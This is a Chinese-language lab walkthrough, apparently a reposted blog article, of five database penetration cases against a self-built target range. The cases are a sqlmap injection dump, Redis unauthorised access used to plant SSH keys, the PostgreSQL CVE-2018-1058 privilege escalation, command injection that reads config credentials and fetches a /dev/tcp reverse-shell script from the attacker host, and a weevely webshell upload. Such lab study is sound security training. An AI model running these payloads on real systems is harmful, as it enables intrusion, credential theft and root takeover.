對數據庫滲透的5個案例


1. mysql的sql注入

1.1 環境搭建

攻擊機A:kali

靶機B:Ubuntu

1.1.1 安裝php+mysql+apache

在這里,網上一般的方法都可以,比較簡單。

1.1.2 安裝配置pikachu

pikachu:https://github.com/zhuifengshaonianhanlu/pikachu

1)把下載下來的pikachu文件夾放到web服務器根目錄下(一般在/var/www/html/)。

2)根據實際情況修改inc/config.inc.php里面的數據庫連接配置;

3)訪問http://x.x.x.x/pikachu,會有一個紅色的熱情提示"歡迎使用,pikachu還沒有初始化,點擊進行初始化安裝!",點擊即可完成安裝。

 

 1.2 滲透測試

1.2.1 選擇SQL inject->數字型注入(post)

 

1.2.2 一般思路:

判斷該功能為查詢輸入的userid是否存在,若存在則返回相關消息。故可判斷可能存在與數據庫連接進行查詢操作。再觀察url:http://192.168.8.9/html/vul/sqli/sqli_id.php和burp抓包

通過post方法傳遞id參數,與后端進行交互。判斷id可能為sql注入點;

1.2.3 滲透過程:

1)在這里可以直接那sqlmap跑,也可以先用burp抓包手動分析。在這里先用burp:打開截斷,方便在瀏覽器查看注入后的變化。把id參數改為:-1 or 1=1

 

結果如下圖,顯示出所有的user信息,確認存在sql注入:

 

 2)接下來直接拿出sqlmap跑,在命令行輸入:

sqlmap -u "http://192.168.8.9/html/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" --dump-all

直接把數據庫所有內容脫下來(截圖顯示部分):

 

 

2. redis未授權訪問

2.1 環境搭建

攻擊機A:kali

靶機B:Ubuntu

 2.1.1 安裝redis

1)從官網下載,在命令行輸入:

sudo wget http://download.redis.io/releases/redis-3.2.11.tar.gz

2)下載成功后,解壓:

tar xzf redis-3.2.11.tar.gz

3)進入解壓后的目錄,輸入make執行:

cd redis-3.2.11

make

4)進入src目錄:cd src,將redis-server和redis-cli拷貝到/usr/bin目錄下:

cd src

sudo cp redis-server /usr/bin/

sudo cp redis-cli /usr/bin/

5)返回目錄redis-3.2.11,將redis.conf拷貝到/etc/目錄下:

sudo cp redis.conf /etc/

6)編輯etc中的redis配置文件redis.conf:

sudo vim /etc/redis.conf

7)去掉ip綁定,允許除本地外的主機遠程登錄redis服務,在箭頭這一行前面加上#,注釋掉:

 

 

 關閉保護模式,允許遠程連接redis服務,把下圖的yes改為no:

 

 

 8)使用/etc/目錄下的reids.conf文件中的配置啟動redis服務:

sudo redis-server /etc/redis.conf

2.1.2 啟動ssh服務

打開另一個終端窗口,命令行輸入:

sudo /etc/init.d/ssh start

2.1.3 在攻擊機A上安裝redis

apt-get install redis

2.2 滲透測試

2.2.1 獲取兩部主機的ip

攻擊機A:192.168.8.3

靶機B:192.168.8.9

2.2.2 連接redis

1)在靶機B中創建ssh公鑰存放目錄:

mkdir /root/.ssh

2)在攻擊機A中生成ssh公鑰和私鑰,密碼設置為空:

ssh-keygen -t rsa

3)進入.ssh目錄:cd .ssh/,將生成的公鑰保存到1.txt:

cd .ssh/

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt

4)將1.txt寫入redis(使用redis-cli -h ip命令連接靶機B,將文件寫入):

cat 1.txt | redis-cli -h 192.168.8.9 -x set crack

5)遠程登錄主機A的redis服務:

redis-cli -h 192.168.8.9

此時,其實已經連接上redis了,如下圖:

 2.2.3 使用ssh拿shell

因為該redis還沒有進行任何數據的存儲,就不進行數據的竊取了。接下來展示通過redis拿到系統的shell,擴大戰果。

1)使用CONFIG GET dir命令得到redis備份的路徑:

CONFIG GET dir

2))更改redis備份路徑為ssh公鑰存放目錄(一般默認為/root/.ssh):

CONFIG SET dir /root/.ssh/

 

 3)設置上傳公鑰的備份文件名字為authorized_keys:

CONFIG SET dbfilename authorized_keys

 

 4)檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出,至此成功寫入ssh公鑰到靶機:

CONFIG GET dbfilename

 5)開啟主機A、B的的ssh服務:

sudo /etc/init.d/ssh start

6)在攻擊機A使用ssh免密登錄靶機B:

ssh -i id_rsa root@192.168.8.9

 

 至此,成功登陸,成功執行id命令。成功通過ssh獲取root權限的shell。

 

3.PostgreSQL 遠程代碼執行(CVE-2018-1058)

3.1 環境搭建

攻擊機A:kali,ip: 192.168.8.3

靶機B:Ubuntu,ip: 192.168.8.8

3.1.1 在靶機B上安裝postgreSQL

由於PostgreSQL遠程代碼執行漏洞影響版本有限,需要安裝某些特定版本。在這里安裝的是9.6版本:

1)添加源:

sudo vim /etc/apt/sources.list.d/pgdg.list

輸入:

deb http://apt.postgresql.org/pub/repos/apt/ xenial-pgdg main

保存並退出。

2)導入安裝密鑰:

wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add -

3)安裝:

sudo apt-get install postgresql-9.6

4)遠程訪問配置:

sudo vim /etc/postgresql/9.6/main/postgresql.conf

把listen_addresses = 'localhost'注釋去掉並改為  listen_addresses = '*'

sudo vim /etc/postgresql/9.6/main/pg_hba.conf

把設置修改為下圖:

 

 

 5)重新啟動postgresql:

/etc/init.d/postgresql restart

3.1.2 數據庫配置

光有數據庫不行,得加點東西進去

1)連接數據庫:

psql -U postgres

 

 

 2)在數據庫里,輸入以下命令,創建數據庫和新用戶:(postgres=#開頭的為輸入行

postgres=# CREATE DATABASE evil;
postgres=# CREATE USER chybeta WITH PASSWORD 'chybeta';
CREATE ROLE
postgres=# GRANT ALL PRIVILEGES ON DATABASE evil to chybeta;
GRANT

3)輸入\q退出,然后使用chybeta用戶登陸evil數據庫:(密碼為chybeta,上一條命令里有)

psql -U chybeta -d evil

4)在public模式中創建一張表以及對應的字段:

evil=> CREATE TABLE public.test AS SELECT 'just test' ::text AS test;

然后會看到返回SELECT 1。接着進行查詢:

evil=> SELECT * FROM test;

會看到返回just test字段。

5)創建一個新的模式(schema),其模式名為chybeta:

evil=> CREATE schema chybeta;

6)在chybeta模式中創建對應的表以及字段:

evil=> CREATE TABLE chybeta.test AS SELECT 'i am chybeta'::text AS test;

7)執行上次相同的查詢語句:

evil=> SELECT * FROM test;

 

 

 3.2 滲透測試

3.2.1 方法一

1)在攻擊機A上,進行遠程連接靶機B的PostgreSQL::

psql --host 192.168.8.8 --username chybeta -d evil

2)連接數據庫后,執行如下語句:

evil=> CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
    ALTER ROLE chybeta SUPERUSER;
    SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;

在這里,創建了一個名叫upper的惡意函數,當然數據庫里本來也有一個upper函數,但是在這個漏洞里面,會先執行我們自定義的函數,至於原因這里就不展開了。

這個自定義的upper函數的惡意功能就是把用戶chybeta設置成為超級用戶。

3)創建一張表:

evil=> CREATE TABLE public.hehehehe AS SELECT 'chybeta'::varchar AS contents;

4)在這里,先看一下現在的用戶的權限是怎么樣的:

evil=> select rolname,rolsuper from pg_roles;

 

 這里的用戶chybeta還是f,而不是超級用戶postgres的t。

5)接下來的操作是模擬管理員的操作了,他看小寫的chybeta不順眼,想讓他變成大寫(關鍵在於管理員執行惡意函數),執行了以下的操作:

select current_user;

select contents from hehehehe;

select upper(contents) from hehehehe;

 

 6)看上去一切正常,大寫的大寫。回到用戶chybeta處,查看一下權限:

 

 

 現在我們就可以使用chybeta用戶遠程登陸PostgreSQL數據庫了,且這是一個超級用戶,如圖同postgres用戶擁有相同的權限。

至此完成對postgresql的滲透。

4.通過命令執行漏洞

4.1 環境搭建

攻擊機A:kali,192.168.8.3

靶機B:Ubuntu,192.168.8.9

在這里就不需要搭建新的環境了,使用1里面的pikachu靶場就可以。

 

 

 

4.2 滲透測試

4.2.1 查看配置文件,獲取數據庫用戶名密碼

1)輸入127.0.0.1查看回顯:

 

 2)輸入127.0.0.1;ls查看回顯:

 

 成功執行ls命令,回顯出了當前目錄下的文件。

3)執行以下命令,找到配置文件(可以通過ls ..   ls ../..   一點一點去找到這個目錄)

127.0.0.1;ls ../../inc

 

 4)執行以下命令就可以看到數據庫的用戶名和密碼了:

127.0.0.1;cat ../../inc/config.inc.php

但是在瀏覽器頁面上看不到有回顯:

 此時可以通過burp抓包查看:

也可以在瀏覽器查看源碼:

由此得到數據庫的用戶名密碼:root/null(空密碼)

4.2.2 通過命令執行拿shell

1)在攻擊機上開啟apache服務,並在web根目錄寫一個反彈shell文件:

service apache2 start

反彈shell文件的內容:

#!/bin/bash
bash -c "bash -i >& /dev/tcp/192.168.8.3/6688 0>&1"

並命名為abc.sh。

2)在命令輸入窗口輸入:

1&wget -P /tmp http://192.168.8.3/abc.sh

這里,wget命令下載攻擊機上的反彈shell文件,-P指定下載目錄,因為只有該目錄下該用戶具有讀寫執行權限。

3)ls查看一下/tmp目錄下是否有abc.sh文件:

1&ls /tmp

確認已經下載了abc.sh(這里的1.txt是我測試用的文件) 。

4)在攻擊機A上打開偵聽,偵聽6688端口(與abc.sh文件內容對應):

nc -lvp 6688

 

 5)輸入命令執行abc.sh文件:

1&bash /tmp/abc.sh

 

 nc上已經成功連上:

 

 在此,已經拿到了反彈shell了。

4.2.3 獲取交互式shell,並進入Mysql

在這里從反彈shell變成完全交互式shell:

python -c 'import pty; pty.spawn("/bin/bash")'

 

 現在,已經是完全交互式shell了。剛剛我們也已經獲得了mysql的用戶名和密碼:root/null(空密碼)

於是進行mysql登陸:

mysql -u root -p

 

 輸入密碼這一步直接按回車,即可進入數據庫。

show databases; 一下看看:

 

 接下來就是基本的數據庫操作了,想看什么看什么。

 

5.通過文件上傳漏洞

5.1 環境搭建

攻擊機A:kali,192.168.8.3

靶機B:Ubuntu,192.168.8.9

在這里同樣不需要搭建新的環境了,使用1里面的pikachu靶場就可以。

 

 

 

 

 

 接下來還需要對環境做一點配置,因為當初配置pikachu的時候也是自己純手搭的。打開靶機B:

進入到/var/www/html/vul/unsafeupload,建立一個uploads文件夾:

sudo mkdir uploads

然后給這個目錄最高權限(最高權限不是安全的,但是方便):

sudo chmod 777 uploads

好了,現在環境就配置好了。

5.2 滲透測試

1)首先寫一個webshell,在這里直接用Kali的工具,用密碼abc創建一個名為shell.php的文件:

weevely generate abc shell.php

打開目錄/usr/share/weevely就可以看到shell.php

 

 

 2)用weevely連接webshell,用法:weevely <url> <password>

weevely http://192.168.8.9/html/vul/unsafeupload/uploads/shell.php abc

 成功連上了,獲得webshell。

3)一樣的,去找配置文件,看泄露的數據庫用戶名和密碼,在/var/www/html/inc目錄找到:

 

 

 直接cat一下:

 

 

 如圖數據庫用戶名密碼:root/(空密碼)

4)直接用mysql命令連接:

mysql -u root -p

這樣會發現沒有回顯,還不能連上,所以還是要用python建立一個完全交互式shell:

python -c 'import pty; pty.spawn("/bin/bash")'

然后又發現,沒有任何反應,沒有回顯。那就繼續想辦法,在這里已經拿到了shell了,只是進不了mysql,交互性不夠。然后想起來,剛剛在命令執行漏洞的時候,在web根目錄下建了一個abc,sh的shell腳本文件:

 

 

 5)接着這里的思路,先在攻擊機a上打開偵聽6688端口,然后在這個shell里執行wget命令:

nc -lvp 6688
wget -P /tmp http://192.168.8.3/abc.sh

 

 

 因為這里我剛剛操作命令執行漏洞的時候已經存在abc.sh了,這里自動命名為abc.sh.1,但是沒關系,兩個文件內容是一樣的。

6)接下來就是在這個shell里執行這個abc.sh文件:

bash /tmp/abc.sh

 

 

 

 

 

 nc成功連上。那為什么我一開始用python無法建立完全交互式shell的時候不直接用nc呢?因為我這個靶機的nc有點問題....所以繞了這么大一圈,才用到nc。

7)在這里就可以用Python那條命令了:

python -c 'import pty; pty.spawn("/bin/bash")'

 

 

 這樣就可以登陸mysql了。select user()看一下當前用戶:

 

 

 超級用戶,接下來就可以隨便玩了。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM